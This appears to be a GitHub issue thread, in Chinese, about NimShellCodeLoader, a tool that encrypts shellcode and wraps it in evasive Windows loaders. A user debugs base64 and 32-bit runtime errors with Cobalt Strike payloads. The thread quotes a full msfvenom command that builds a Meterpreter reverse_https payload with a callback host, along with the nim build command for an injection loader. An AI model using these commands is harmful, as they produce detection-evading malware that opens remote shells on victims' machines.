NimShellCodeLoader icon indicating copy to clipboard operation
NimShellCodeLoader copied to clipboard

运行被加密的程序报错

Open spooky18 opened this issue 3 years ago • 6 comments

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢 手心输入法截图20210928183244488 ? nim版本 我之后又试了官方几个大版本的代表版本,问题依旧 12121212

spooky18 avatar Sep 28 '21 10:09 spooky18

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢

手心输入法截图20210928183244488

?

nim版本

我之后又试了官方几个大版本的代表版本,问题依旧

12121212

你用64位的系统、64位的nim编译运行试试

aeverj avatar Sep 28 '21 12:09 aeverj

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

spooky18 avatar Sep 28 '21 14:09 spooky18

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

msfvenom 生成shellcode的时候选择操作系统位数要和nim的相同,应该是x64

aeverj avatar Sep 29 '21 13:09 aeverj

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

spooky18 avatar Oct 13 '21 12:10 spooky18

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

程序的版本要和shellcode的版本要一致

aeverj avatar Oct 13 '21 12:10 aeverj

没明白您说的程序版本和shellcode的版本有什么关系,shellcode是32位的,nim和mingw也是32位的,编译测试message弹框的shellcode,但是稍微大一点的程序就会遇到这个base64编码错误了,这应该是base编码/解码shellcode方面的问题吧?

spooky18 avatar Oct 13 '21 14:10 spooky18